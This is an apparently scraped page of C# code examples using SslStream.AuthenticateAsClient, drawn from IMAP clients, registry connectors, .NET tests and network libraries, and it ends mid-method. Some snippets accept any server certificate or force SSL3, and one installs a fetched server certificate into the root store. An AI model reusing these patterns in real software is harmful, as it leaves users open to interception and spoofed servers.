Пример #1
1
	static void Main(string[] args)
	{
		string host = "localhost";
		if (args.Length > 0)
			host = args[0];

		SslProtocols protocol = SslProtocols.Tls;
		if (args.Length > 1) {
			switch (args [1].ToUpper ()) {
			case "SSL":
				protocol = SslProtocols.Ssl3;
				break;
			}
		}

		X509CertificateCollection certificates = null;
		if (args.Length > 2) {
			string password = null;
			if (args.Length > 3)
				password = args [3];

			p12 = Mono.Security.X509.PKCS12.LoadFromFile(args [2], password);

			certificates = new X509CertificateCollection ();
			foreach (Mono.Security.X509.X509Certificate cert in p12.Certificates) {
				certificates.Add(new X509Certificate2(args [2], password));
				break;
			}
		}

		TcpClient client = new TcpClient ();
		client.Connect (host, 4433);
 
 		SslStream ssl = new SslStream (client.GetStream(), false, new RemoteCertificateValidationCallback (CertificateValidation), new LocalCertificateSelectionCallback (ClientCertificateSelection));

		ssl.AuthenticateAsClient (host, certificates, protocol, false); 	
		StreamWriter sw = new StreamWriter (ssl, System.Text.Encoding.ASCII);
		sw.WriteLine ("GET /clientcert.aspx{0}", Environment.NewLine);
		sw.Flush ();

		StreamReader sr = new StreamReader (ssl);
		Console.WriteLine (sr.ReadToEnd ());
	}
Пример #2
0
        /// <summary>
        /// Connect to the registry end point
        /// </summary>
        public void Connect()
        {
            var client = new TcpClient(EPP_REGISTRY_COM, PORT);

            stream = new SslStream(client.GetStream(), false, ValidateServerCertificate);

            if (clientCertificate != null)
            {
                var clientCertificates = new X509CertificateCollection {clientCertificate};

                stream.AuthenticateAsClient(EPP_REGISTRY_COM, clientCertificates, SslProtocols.Ssl3, false);
            }
            else
            {
                stream.AuthenticateAsClient(EPP_REGISTRY_COM);
            }

        }
Пример #3
0
        /// <summary>
        /// Connect to the registry end point
        /// </summary>
        public void Connect(SslProtocols sslProtocols)
        {
            var client = new TcpClient(EPP_REGISTRY_COM, PORT);

            stream = new SslStream(client.GetStream(), false, ValidateServerCertificate)
                     {
                         ReadTimeout = READ_TIMEOUT,
                         WriteTimeout = WRITE_TIMEOUT
                     };

            if (clientCertificate != null)
            {
                var clientCertificates = new X509CertificateCollection {clientCertificate};

                stream.AuthenticateAsClient(EPP_REGISTRY_COM, clientCertificates, sslProtocols, false);
            }
            else
            {
                stream.AuthenticateAsClient(EPP_REGISTRY_COM);
            }

        }
Пример #4
0
        public async Task TransportContext_ConnectToServerWithSsl_GetExpectedChannelBindings()
        {
            using (var testServer = new DummyTcpServer(
                new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.RequireEncryption))
            using (var client = new TcpClient())
            {
                await client.ConnectAsync(testServer.RemoteEndPoint.Address, testServer.RemoteEndPoint.Port);

                using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, EncryptionPolicy.RequireEncryption))
                {
                    sslStream.AuthenticateAsClient("localhost", null, SslProtocols.Tls, false);

                    TransportContext context = sslStream.TransportContext;
                    CheckTransportContext(context);
                }
            }
        }
Пример #5
0
        public async Task ServerNoEncryption_ClientRequireEncryption_NoConnect()
        {
            using (var serverNoEncryption = new DummyTcpServer(
                new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.NoEncryption))
            using (var client = new TcpClient())
            {
                await client.ConnectAsync(serverNoEncryption.RemoteEndPoint.Address, serverNoEncryption.RemoteEndPoint.Port);

                using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, EncryptionPolicy.RequireEncryption))
                {
                    Assert.Throws<IOException>(() =>
                    {
                        sslStream.AuthenticateAsClient("localhost", null, SslProtocolSupport.DefaultSslProtocols, false);
                    });
                }
            }
        }
        public async Task ServerAllowNoEncryption_ClientRequireEncryption_ConnectWithEncryption()
        {
            using (var serverAllowNoEncryption = new DummyTcpServer(
                new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.AllowNoEncryption))
            using (var client = new TcpClient())
            {
                await client.ConnectAsync(serverAllowNoEncryption.RemoteEndPoint.Address, serverAllowNoEncryption.RemoteEndPoint.Port);

                using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, EncryptionPolicy.RequireEncryption))
                {
                    sslStream.AuthenticateAsClient("localhost", null, TestConfiguration.DefaultSslProtocols, false);
                    _log.WriteLine("Client({0}) authenticated to server({1}) with encryption cipher: {2} {3}-bit strength",
                        client.Client.LocalEndPoint, client.Client.RemoteEndPoint,
                        sslStream.CipherAlgorithm, sslStream.CipherStrength);
                    Assert.NotEqual(CipherAlgorithmType.Null, sslStream.CipherAlgorithm);
                    Assert.True(sslStream.CipherStrength > 0);
                }
            }
        }
        public void ClientDefaultEncryption_ServerAllowNoEncryption_ConnectWithEncryption()
        {
            using (var serverAllowNoEncryption = new DummyTcpServer(
                new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.AllowNoEncryption))
            using (var client = new TcpClient())
            {
                client.Connect(serverAllowNoEncryption.RemoteEndPoint);

                using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null))
                {
                    sslStream.AuthenticateAsClient("localhost", null, TestConfiguration.DefaultSslProtocols, false);
                    _log.WriteLine("Client({0}) authenticated to server({1}) with encryption cipher: {2} {3}-bit strength",
                        client.Client.LocalEndPoint, client.Client.RemoteEndPoint,
                        sslStream.CipherAlgorithm, sslStream.CipherStrength);
                    Assert.True(sslStream.CipherAlgorithm != CipherAlgorithmType.Null, "Cipher algorithm should not be NULL");
                    Assert.True(sslStream.CipherStrength > 0, "Cipher strength should be greater than 0");
                }
            }
        }
Пример #8
0
 public ImapClient(string hostname, int port, string username, string password, bool ssl = false)
 {
     this.hostname = hostname;
     this.username = username;
     this.password = password;
     this.port = port;
     this.ssl = ssl;
     RemoteCertificateValidationCallback validate = null;
     TcpClient client = new TcpClient(hostname, port);
     stream = client.GetStream();
     SslStream sslStream = new SslStream(stream, false, validate ??
         ((sender, cert, chain, err) => true));
     sslStream.AuthenticateAsClient(hostname);
     stream = sslStream;
     List<string> str = readstreamdata("* OK");
     string tagStr = GetTag();
     writestreamdata(tagStr + "LOGIN " + QuoteString(username) + " " + QuoteString(password) + "\r\n");
     readstreamdata(tagStr + "OK");
 }
        public void ServerAllowNoEncryption_ClientNoEncryption_ConnectWithNoEncryption()
        {
            using (var serverAllowNoEncryption = new DummyTcpServer(
                new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.AllowNoEncryption))
            using (var client = new TcpClient())
            {
                client.Connect(serverAllowNoEncryption.RemoteEndPoint);

                using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, EncryptionPolicy.NoEncryption))
                {
                    sslStream.AuthenticateAsClient("localhost", null, TestConfiguration.DefaultSslProtocols, false);
                    _log.WriteLine("Client({0}) authenticated to server({1}) with encryption cipher: {2} {3}-bit strength",
                        client.Client.LocalEndPoint, client.Client.RemoteEndPoint,
                        sslStream.CipherAlgorithm, sslStream.CipherStrength);

                    CipherAlgorithmType expected = CipherAlgorithmType.Null;
                    Assert.Equal(expected, sslStream.CipherAlgorithm);
                    Assert.Equal(0, sslStream.CipherStrength);
                }
            }
        }
    static void Main(string[] args)
    {
        if (args.Length != 1)
          Environment.Exit(1);
        Uri uri = new Uri(args[0]);

        string server = uri.Host;
        int port = uri.Port;
        if (port < 0)
          port = 443;
        try {
          TcpClient client = new TcpClient(server, port);
          SslStream sslStream = new SslStream(client.GetStream(), false, new RemoteCertificateValidationCallback (ValidateServerCertificate), null);
          sslStream.AuthenticateAsClient(server);
        } catch (Exception e) {
          Console.WriteLine("Failed to get certificate. {0}", e);
        }

        try {
        if (data != null) {
          string filePath = System.IO.Path.GetTempPath() + "server.cer";
          Console.WriteLine("Get certificate to {0}", filePath);
          File.WriteAllBytes(filePath, data);
          Process process = new Process();
          process.StartInfo.UseShellExecute = false;
          process.StartInfo.RedirectStandardOutput = true;
          process.StartInfo.FileName = "CertUtil";
          process.StartInfo.Arguments = "-addstore root \"" + filePath + "\"";
          process.Start();
          string output = process.StandardOutput.ReadToEnd();
          process.WaitForExit();
          Console.WriteLine(output);
        }
        } catch (Exception e) {
        Console.WriteLine("{0}", e);
        }
    }
Пример #11
0
        private static string requestViaRawTcp(string host, int port, bool ssl, byte[] requestBytes)
        {
            var output = new StringBuilder();

            var    c         = new TcpClient(host, port);
            Stream tcpStream = c.GetStream();

            var s = tcpStream;

            if (ssl)
            {
                System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
                var sslStream = new SslStream(tcpStream, false, new RemoteCertificateValidationCallback((arg1, arg2, arg3, arg4) => true), null);
                //sslStream.AuthenticateAsClient(host);
                sslStream.AuthenticateAsClient(host, null, SslProtocols.Tls12, true);
                s = sslStream;
            }


            s.Write(requestBytes, 0, requestBytes.Length);
            s.Flush();

            var  sb                      = new StringBuilder();
            long contentLength           = 0;
            bool chunked                 = false;
            bool responseConnectionClose = false;

            // Read headers
            while (c.Connected)
            {
                int b = s.ReadByte();
                if (b > 0)
                {
                    sb.Append((char)b);
                    if ((char)b == '\n')
                    {
                        var prevLine = sb.ToString();

                        output.Append(prevLine);
                        if (prevLine.StartsWith("Content-Length: "))
                        {
                            contentLength = long.Parse(Regex.Match(prevLine, "Content-Length: (\\d+)").Groups[1].Value);
                        }
                        else if (prevLine.StartsWith("Transfer-Encoding: chunked", StringComparison.InvariantCultureIgnoreCase))
                        {
                            chunked = true;
                        }
                        else if (prevLine.StartsWith("Connection: close", StringComparison.InvariantCultureIgnoreCase))
                        {
                            responseConnectionClose = true;
                        }
                        else if (prevLine.Trim() == "")
                        {
                            break;
                        }

                        sb.Clear();
                    }
                }
                else
                {
                    break;
                }
            }

            if (!chunked)
            {
                // Read normal body as specified by content length
                long curLength = 0;
                while (c.Connected)
                {
                    if (contentLength == 0 && responseConnectionClose)
                    {
                        // server told us to just keep reading until connection is closed
                    }
                    else
                    {
                        if (++curLength > contentLength)
                        {
                            break;
                        }
                    }

                    int b = s.ReadByte();
                    if (b > 0)
                    {
                        sb.Append((char)b);
                        if ((char)b == '\n')
                        {
                            var prevLine = sb.ToString();
                            output.Append(prevLine);
                            sb.Clear();
                        }
                    }
                    else
                    {
                        break;
                    }
                }
                if (sb.Length > 0)
                {
                    output.Append(sb.ToString());
                }
            }
            else
            {
                // Read chunked body
                bool done = false;
                while (!done)
                {
                    // read chunk length
                    int chunkLength = 0;
                    while (c.Connected)
                    {
                        int b = s.ReadByte();
                        if (b > 0)
                        {
                            sb.Append((char)b);
                            if ((char)b == '\n')
                            {
                                var prevLine = sb.ToString().Trim().TrimStart(new char[] { '\r', '\n' });
                                chunkLength = int.Parse(prevLine, System.Globalization.NumberStyles.HexNumber);
                                sb.Clear();
                                break;
                            }
                        }
                        else
                        {
                            break;
                        }
                    }
                    if (chunkLength == 0)
                    {
                        break;
                    }

                    // read chunk content
                    long curLength = 0;
                    while (c.Connected)
                    {
                        if (++curLength > chunkLength)
                        {
                            break;
                        }

                        int b = s.ReadByte();
                        if (b > 0)
                        {
                            sb.Append((char)b);
                            if ((char)b == '\n')
                            {
                                var prevLine = sb.ToString();
                                output.Append(prevLine);
                                sb.Clear();
                            }
                        }
                        else
                        {
                            break;
                        }
                    }

                    // read \r\n after chunk
                    s.ReadByte();
                    s.ReadByte();

                    if (sb.Length > 0)
                    {
                        output.Append(sb.ToString());
                    }
                    sb.Clear();
                }
            }

            s.Close();
            c.Close();
            return(output.ToString());
        }
Пример #12
0
        static void Main(string[] args)
        {
            _pool = new Semaphore(4, 4);
            TcpClient client = new TcpClient("81.180.74.23", 443);

            SslStream ssl = new SslStream(
                client.GetStream(),
                false,
                new RemoteCertificateValidationCallback(ValidateServerCertificate),
                null
                )
            ;

            try
            {
                ssl.AuthenticateAsClient("utm.md");
            }
            catch (AuthenticationException e)
            {
                Console.WriteLine("Exception: {0}", e.Message);
                if (e.InnerException != null)
                {
                    Console.WriteLine("Inner exception: {0}", e.InnerException.Message);
                }
                Console.WriteLine("Authentication failed - closing the connection.");
                client.Close();
                return;
            }

            byte[] buffer = new byte[2048];

            string request_url = "GET / HTTP/1.1\r\n" + "Host: utm.md\r\n\r\n" + "Accept: *\r\n\r\n";


            byte[] request = Encoding.UTF8.GetBytes(String.Format(request_url));
            ssl.Write(request, 0, request.Length);

            ssl.Flush();

            int           bytes       = -1;
            int           i           = -1;
            StringBuilder messageData = new StringBuilder();

            do
            {
                bytes = ssl.Read(buffer, 0, buffer.Length);

                Decoder decoder = Encoding.UTF8.GetDecoder();
                char[]  chars   = new char[decoder.GetCharCount(buffer, 0, buffer.Length)];
                decoder.GetChars(buffer, 0, bytes, chars, 0);
                messageData.Append(chars);
                if (messageData.ToString().IndexOf("<EOF>") != -1)
                {
                    break;
                }
            } while (bytes != 0);
            Console.WriteLine(messageData.ToString());

            string response = messageData.ToString();
            Regex  regex    = new Regex(@"wp-content/(.*?)(?:jpg|gif|png)");
            var    mach     = regex.Matches(response);

            var list = new List <string>();

            foreach (Match m in mach)
            {
                var path = m.Value;
                list.Add(m.Value);
                Console.WriteLine(m.Value);
            }
            ssl.Close();

            for (int index = 0; index <= 51; index++)
            {
                Thread t = new Thread(new ParameterizedThreadStart(SaveImage));
                Console.WriteLine(index);
                t.Start(list[index]);
            }
            Console.ReadKey();
        }
Пример #13
0
        /// <summary>
        /// Handles the connection process of clients
        /// </summary>
        private void HandleClientComm(object sender)
        {
            //This conntects the client
            //first we need an rescue timer

            _BootUpTimer = new Timer(new TimerCallback(_BootUpTimer_Elapsed), null, 100, 100);

            bool leaveInnerStreamOpen = false;

            try
            {
                // encryption
                if (_Mode == VaserOptions.ModeKerberos)
                {
                    QueueSend   = QueueSendKerberos;
                    _AuthStream = new NegotiateStream(new NetworkStream(_SocketTCPClient), leaveInnerStreamOpen);
                }

                if (_Mode == VaserOptions.ModeSSL)
                {
                    QueueSend  = QueueSendSSL;
                    _sslStream = new SslStream(new NetworkStream(_SocketTCPClient), leaveInnerStreamOpen);
                }

                if (_Mode == VaserOptions.ModeNotEncrypted)
                {
                    QueueSend = QueueSendNotEncrypted;
                }

                if (_Mode == VaserOptions.ModeNamedPipeServerStream)
                {
                    //QueueSend = QueueSendNotEncrypted;
                }

                if (_Mode == VaserOptions.ModeNamedPipeClientStream)
                {
                    //QueueSend = QueueSendNotEncrypted;
                }

                if (IsServer)
                { //server
                    if (_Mode == VaserOptions.ModeKerberos)
                    {
                        if (_vKerberosS._policy == null)
                        {
                            if (_vKerberosS._credential == null)
                            {
                                _AuthStream.AuthenticateAsServer();
                            }
                            else
                            {
                                _AuthStream.AuthenticateAsServer(_vKerberosS._credential, _vKerberosS._requiredProtectionLevel, _vKerberosS._requiredImpersonationLevel);
                            }
                        }
                        else
                        {
                            if (_vKerberosS._credential == null)
                            {
                                _AuthStream.AuthenticateAsServer(_vKerberosS._policy);
                            }
                            else
                            {
                                _AuthStream.AuthenticateAsServer(_vKerberosS._credential, _vKerberosS._policy, _vKerberosS._requiredProtectionLevel, _vKerberosS._requiredImpersonationLevel);
                            }
                        }

                        link.IsAuthenticated         = _AuthStream.IsAuthenticated;
                        link.IsEncrypted             = _AuthStream.IsEncrypted;
                        link.IsMutuallyAuthenticated = _AuthStream.IsMutuallyAuthenticated;
                        link.IsSigned = _AuthStream.IsSigned;
                        link.IsServer = _AuthStream.IsServer;

                        IIdentity id = _AuthStream.RemoteIdentity;

                        link.UserName = id.Name;
                    }


                    if (_Mode == VaserOptions.ModeSSL)
                    {
                        if (_vSSLS._enabledSslProtocols == SslProtocols.None)
                        {
                            _sslStream.AuthenticateAsServer(_vSSLS._serverCertificate);
                        }
                        else
                        {
                            _sslStream.AuthenticateAsServer(_vSSLS._serverCertificate, _vSSLS._clientCertificateRequired, _vSSLS._enabledSslProtocols, _vSSLS._checkCertificateRevocation);
                        }

                        link.IsEncrypted = true;
                        link.IsServer    = true;
                    }

                    if (_Mode == VaserOptions.ModeNotEncrypted)
                    {
                        link.IsServer = true;
                    }

                    if (_Mode == VaserOptions.ModeNamedPipeServerStream)
                    {
                        link.IsServer = true;
                    }

                    link.vServer = server;

                    BootupDone = true;
                    server.AddNewLink(link);
                }
                else
                { //client
                    if (_Mode == VaserOptions.ModeKerberos)
                    {
                        if (_vKerberosC._binding == null)
                        {
                            if (_vKerberosC._credential == null)
                            {
                                _AuthStream.AuthenticateAsClient();
                            }
                            else
                            {
                                if (_vKerberosC._requiredProtectionLevel == ProtectionLevel.None && _vKerberosC._requiredImpersonationLevel == TokenImpersonationLevel.None)
                                {
                                    _AuthStream.AuthenticateAsClient(_vKerberosC._credential, _vKerberosC._targetName);
                                }
                                else
                                {
                                    _AuthStream.AuthenticateAsClient(_vKerberosC._credential, _vKerberosC._targetName, _vKerberosC._requiredProtectionLevel, _vKerberosC._requiredImpersonationLevel);
                                }
                            }
                        }
                        else
                        {
                            if (_vKerberosC._requiredProtectionLevel == ProtectionLevel.None && _vKerberosC._requiredImpersonationLevel == TokenImpersonationLevel.None)
                            {
                                _AuthStream.AuthenticateAsClient(_vKerberosC._credential, _vKerberosC._binding, _vKerberosC._targetName);
                            }
                            else
                            {
                                _AuthStream.AuthenticateAsClient(_vKerberosC._credential, _vKerberosC._binding, _vKerberosC._targetName, _vKerberosC._requiredProtectionLevel, _vKerberosC._requiredImpersonationLevel);
                            }
                        }

                        link.IsAuthenticated         = _AuthStream.IsAuthenticated;
                        link.IsEncrypted             = _AuthStream.IsEncrypted;
                        link.IsMutuallyAuthenticated = _AuthStream.IsMutuallyAuthenticated;
                        link.IsSigned = _AuthStream.IsSigned;
                        link.IsServer = _AuthStream.IsServer;

                        IIdentity id = _AuthStream.RemoteIdentity;
                    }

                    if (_Mode == VaserOptions.ModeSSL)
                    {
                        if (_vSSLC._clientCertificates == null)
                        {
                            _sslStream.AuthenticateAsClient(_vSSLC._targetHost);
                        }
                        else
                        {
                            _sslStream.AuthenticateAsClient(_vSSLC._targetHost, _vSSLC._clientCertificates, _vSSLC._enabledSslProtocols, _vSSLC._checkCertificateRevocation);
                        }


                        link.IsEncrypted = true;
                    }

                    if (_Mode == VaserOptions.ModeNamedPipeClientStream)
                    {
                    }

                    //Thread.Sleep(50);
                    BootupDone = true;

                    _IsAccepted = true;
                    if (_Mode == VaserOptions.ModeNotEncrypted)
                    {
                        ThreadPool.QueueUserWorkItem(ReceiveNotEncrypted);
                    }
                    if (_Mode == VaserOptions.ModeKerberos)
                    {
                        ThreadPool.QueueUserWorkItem(ReceiveKerberos);
                    }
                    if (_Mode == VaserOptions.ModeSSL)
                    {
                        ThreadPool.QueueUserWorkItem(ReceiveSSL);
                    }
                }

                if (EnableHeartbeat)
                {
                    HeartbeatTimer = new Timer(new TimerCallback(OnHeartbeatEvent), null, HeartbeatMilliseconds, HeartbeatMilliseconds);
                }
            }
            catch (AuthenticationException e)
            {
                Debug.WriteLine("Authentication failed. " + e.ToString());
                _BootUpTimer.Dispose();

                Stop();
                return;
            }
            catch (Exception e)
            {
                Debug.WriteLine("Authentication failed. " + e.ToString());
                _BootUpTimer.Dispose();

                Stop();
                return;
            }
            // encryption END

            _BootUpTimer.Dispose();
            _BootUpTimer = null;
        }
Пример #14
0
        private void performTLSHandshake(NetworkStream stream,
                                         X509CertificateBase clientCertificate,
                                         byte[] expectedServerCertificateBinary)
        {
            var serverCertificateValidator = new Func <object,
                                                       X509Certificate,
                                                       X509Chain,
                                                       SslPolicyErrors,
                                                       bool>
                                                 ((o, serverCertificate, chain, errorPolicy) =>
            {
                if (null == expectedServerCertificateBinary)
                {
                    LogStepEvent("No server certificate validation. Accept any one as trusted.");
                    return(true);
                }

                bool valid = true;

                byte[] receivedRaw = serverCertificate.GetRawCertData();
                byte[] expectedRaw = expectedServerCertificateBinary;
                if (receivedRaw.Count() != expectedRaw.Count())
                {
                    valid = false;
                }

                if (valid)
                {
                    for (int i = 0; i < receivedRaw.Count(); i++)
                    {
                        if (receivedRaw[i] != expectedRaw[i])
                        {
                            valid = false;
                            break;
                        }
                    }
                }

                LogStepEvent(string.Format("Checking whether server certificate is as expected... {0}",
                                           valid ? "Ok" : "Failed"));
                return(valid);
            });

            var clientCertificateSelector = new Func <object, string, X509CertificateCollection,
                                                      X509Certificate,
                                                      string[],
                                                      X509Certificate>
                                                ((o, host, availableCertificates, serverCertificate, acceptableIssuers) =>
            {
                if (null != clientCertificate)
                {
                    return(new X509Certificate(clientCertificate.GetEncoded()));
                }
                return(null);
            });

            var sslStream = new SslStream(stream,
                                          false,
                                          new RemoteCertificateValidationCallback(serverCertificateValidator),
                                          new LocalCertificateSelectionCallback(clientCertificateSelector),
                                          EncryptionPolicy.RequireEncryption);

            sslStream.ReadTimeout = sslStream.WriteTimeout = OperationDelay;

            //var sslStream = new SslStream(stream, false, new RemoteCertificateValidationCallback(serverCertificateValidator));

            var certificate = new X509CertificateBC(new MemoryStream(expectedServerCertificateBinary));

            string targetHost = null == expectedServerCertificateBinary?_cameraIp.ToString() : certificate.SubjectDN;

            try
            {
                BeginStep("Basic TLS Handshake procedure");
                sslStream.AuthenticateAsClient(targetHost,
                                               new X509CertificateCollection(),
                                               SslProtocols.Tls | SslProtocols.Tls11 | SslProtocols.Tls12,
                                               false);
                StepPassed();
            }
            catch (Exception e)
            {
                //StepFailed(e);
                throw new AssertException(e.Message, e.InnerException);
            }
        }
Пример #15
0
        /// <exception cref="System.IO.IOException"></exception>
        public ClientConnection(ClientConnectionManager clientConnectionManager,
                                ClientInvocationService invocationService,
                                int id,
                                Address address,
                                ClientNetworkConfig clientNetworkConfig)
        {
            _clientConnectionManager = clientConnectionManager;
            _id = id;

            var isa           = address.GetInetSocketAddress();
            var socketOptions = clientNetworkConfig.GetSocketOptions();

            try
            {
                _clientSocket = new Socket(isa.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                _clientSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
                if (socketOptions.GetLingerSeconds() > 0)
                {
                    var lingerOption = new LingerOption(true, socketOptions.GetLingerSeconds());
                    _clientSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Linger, lingerOption);
                }
                else
                {
                    var lingerOption = new LingerOption(true, 0);
                    _clientSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.DontLinger, lingerOption);
                }
                _clientSocket.NoDelay        = socketOptions.IsTcpNoDelay();
                _clientSocket.ReceiveTimeout = socketOptions.GetTimeout() > 0 ? socketOptions.GetTimeout() : -1;

                var bufferSize = socketOptions.GetBufferSize() * 1024;
                if (bufferSize < 0)
                {
                    bufferSize = BufferSize;
                }

                _clientSocket.SendBufferSize    = bufferSize;
                _clientSocket.ReceiveBufferSize = bufferSize;

                var connectionTimeout = clientNetworkConfig.GetConnectionTimeout() > -1
                    ? clientNetworkConfig.GetConnectionTimeout()
                    : ConnectionTimeout;
                var socketResult = _clientSocket.BeginConnect(address.GetHost(), address.GetPort(), null, null);

                if (!socketResult.AsyncWaitHandle.WaitOne(connectionTimeout, true) || !_clientSocket.Connected)
                {
                    // NOTE, MUST CLOSE THE SOCKET
                    _clientSocket.Close();
                    throw new IOException("Failed to connect to " + address);
                }
                _sendBuffer    = ByteBuffer.Allocate(BufferSize);
                _receiveBuffer = ByteBuffer.Allocate(BufferSize);

                _builder = new ClientMessageBuilder(invocationService.HandleClientMessage);

                var networkStream = new NetworkStream(_clientSocket, false);
                if (clientNetworkConfig.GetSSLConfig().IsEnabled())
                {
                    var sslStream = new SslStream(networkStream, false,
                                                  (sender, certificate, chain, sslPolicyErrors) =>
                                                  RemoteCertificateValidationCallback(sender, certificate, chain, sslPolicyErrors,
                                                                                      clientNetworkConfig), null);
                    var certificateName = clientNetworkConfig.GetSSLConfig().GetCertificateName() ?? "";
                    sslStream.AuthenticateAsClient(certificateName);
                    _stream = sslStream;
                }
                else
                {
                    _stream = networkStream;
                }
                _live = new AtomicBoolean(true);
                _connectionStartTime = Clock.CurrentTimeMillis();
            }
            catch (Exception e)
            {
                _clientSocket.Close();
                if (_stream != null)
                {
                    _stream.Close();
                }
                throw new IOException("Cannot connect! Socket error:" + e.Message);
            }
        }
Пример #16
0
        /// <summary>
        /// Establishes a connection to the specified IMAP server.
        /// </summary>
        /// <remarks>
        /// <para>Establishes a connection to an IMAP or IMAP/S server. If the schema
        /// in the uri is "imap", a clear-text connection is made and defaults to using
        /// port 143 if no port is specified in the URI. However, if the schema in the
        /// uri is "imaps", an SSL connection is made using the
        /// <see cref="ClientCertificates"/> and defaults to port 993 unless a port
        /// is specified in the URI.</para>
        /// <para>It should be noted that when using a clear-text IMAP connection,
        /// if the server advertizes support for the STARTTLS extension, the client
        /// will automatically switch into TLS mode before authenticating unless the
        /// <paramref name="uri"/> contains a query string to disable it.</para>
        /// <para>If the IMAP server advertizes the COMPRESS extension and either does not
        /// support the STARTTLS extension or the <paramref name="uri"/> explicitly disabled
        /// the use of the STARTTLS extension, then the client will automatically opt into
        /// using a compressed data connection to optimize bandwidth usage unless the
        /// <paramref name="uri"/> contains a query string to explicitly disable it.</para>
        /// <para>If a successful connection is made, the <see cref="AuthenticationMechanisms"/>
        /// and <see cref="Capabilities"/> properties will be populated.</para>
        /// </remarks>
        /// <param name="uri">The server URI. The <see cref="System.Uri.Scheme"/> should either
        /// be "imap" to make a clear-text connection or "imaps" to make an SSL connection.</param>
        /// <param name="cancellationToken">A cancellation token.</param>
        /// <exception cref="System.ArgumentNullException">
        /// The <paramref name="uri"/> is <c>null</c>.
        /// </exception>
        /// <exception cref="System.ArgumentException">
        /// The <paramref name="uri"/> is not an absolute URI.
        /// </exception>
        /// <exception cref="System.ObjectDisposedException">
        /// The <see cref="ImapClient"/> has been disposed.
        /// </exception>
        /// <exception cref="System.InvalidOperationException">
        /// The <see cref="ImapClient"/> is already connected.
        /// </exception>
        /// <exception cref="System.OperationCanceledException">
        /// The operation was canceled via the cancellation token.
        /// </exception>
        /// <exception cref="System.IO.IOException">
        /// An I/O error occurred.
        /// </exception>
        /// <exception cref="ImapProtocolException">
        /// An IMAP protocol error occurred.
        /// </exception>
        public void Connect(Uri uri, CancellationToken cancellationToken)
        {
            CheckDisposed();

            if (uri == null)
            {
                throw new ArgumentNullException("uri");
            }

            if (!uri.IsAbsoluteUri)
            {
                throw new ArgumentException("The uri must be absolute.", "uri");
            }

            if (IsConnected)
            {
                throw new InvalidOperationException("The ImapClient is already connected.");
            }

            var    imaps = uri.Scheme.ToLowerInvariant() == "imaps";
            var    port  = uri.Port > 0 ? uri.Port : (imaps ? 993 : 143);
            var    query = uri.ParsedQuery();
            Stream stream;
            string value;

            var starttls = !imaps && (!query.TryGetValue("starttls", out value) || Convert.ToBoolean(value));
            var compress = !imaps && (!query.TryGetValue("compress", out value) || Convert.ToBoolean(value));

#if !NETFX_CORE
            var    ipAddresses = Dns.GetHostAddresses(uri.DnsSafeHost);
            Socket socket      = null;

            for (int i = 0; i < ipAddresses.Length; i++)
            {
                socket = new Socket(ipAddresses[i].AddressFamily, SocketType.Stream, ProtocolType.Tcp);

                cancellationToken.ThrowIfCancellationRequested();

                try {
                    socket.Connect(ipAddresses[i], port);
                    break;
                } catch {
                    if (i + 1 == ipAddresses.Length)
                    {
                        throw;
                    }
                }
            }

            if (imaps)
            {
                var ssl = new SslStream(new NetworkStream(socket, true), false, ValidateRemoteCertificate);
                ssl.AuthenticateAsClient(uri.Host, ClientCertificates, SslProtocols.Default, true);
                stream = ssl;
            }
            else
            {
                stream = new NetworkStream(socket, true);
            }
#else
            socket = new StreamSocket();

            cancellationToken.ThrowIfCancellationRequested();
            socket.ConnectAsync(new HostName(uri.DnsSafeHost), port.ToString(), imaps ? SocketProtectionLevel.Tls12 : SocketProtectionLevel.PlainSocket)
            .AsTask(cancellationToken)
            .GetAwaiter()
            .GetResult();

            stream = new DuplexStream(socket.InputStream.AsStreamForRead(), socket.OutputStream.AsStreamForWrite());
#endif
            host = uri.Host;

            logger.LogConnect(uri);

            engine.Connect(new ImapStream(stream, logger), cancellationToken);

            // Only query the CAPABILITIES if the greeting didn't include them.
            if (engine.CapabilitiesVersion == 0)
            {
                engine.QueryCapabilities(cancellationToken);
            }

            if (starttls && (engine.Capabilities & ImapCapabilities.StartTLS) != 0)
            {
                var ic = engine.QueueCommand(cancellationToken, null, "STARTTLS\r\n");

                engine.Wait(ic);

                if (ic.Result == ImapCommandResult.Ok)
                {
#if !NETFX_CORE
                    var tls = new SslStream(stream, false, ValidateRemoteCertificate);
                    tls.AuthenticateAsClient(uri.Host, ClientCertificates, SslProtocols.Tls, true);
                    engine.Stream.Stream = tls;
#else
                    socket.UpgradeToSslAsync(SocketProtectionLevel.Tls12, new HostName(uri.DnsSafeHost))
                    .AsTask(cancellationToken)
                    .GetAwaiter()
                    .GetResult();
#endif

                    // Query the CAPABILITIES again if the server did not include an
                    // untagged CAPABILITIES response to the STARTTLS command.
                    if (engine.CapabilitiesVersion == 1)
                    {
                        engine.QueryCapabilities(cancellationToken);
                    }
                }
            }
            else if (compress && (engine.Capabilities & ImapCapabilities.Compress) != 0)
            {
                var ic = engine.QueueCommand(cancellationToken, null, "COMPRESS DEFLATE\r\n");

                engine.Wait(ic);

                if (ic.Result == ImapCommandResult.Ok)
                {
                    var unzip = new DeflateStream(stream, CompressionMode.Decompress);
                    var zip   = new DeflateStream(stream, CompressionMode.Compress);

                    engine.Stream.Stream = new DuplexStream(unzip, zip);

                    // Query the CAPABILITIES again if the server did not include an
                    // untagged CAPABILITIES response to the COMPRESS command.
                    if (engine.CapabilitiesVersion == 1)
                    {
                        engine.QueryCapabilities(cancellationToken);
                    }
                }
            }
        }
Пример #17
0
        private void Connect()
        {
            Uri uri = (!this.CurrentRequest.HasProxy) ? this.CurrentRequest.CurrentUri : this.CurrentRequest.Proxy.Address;

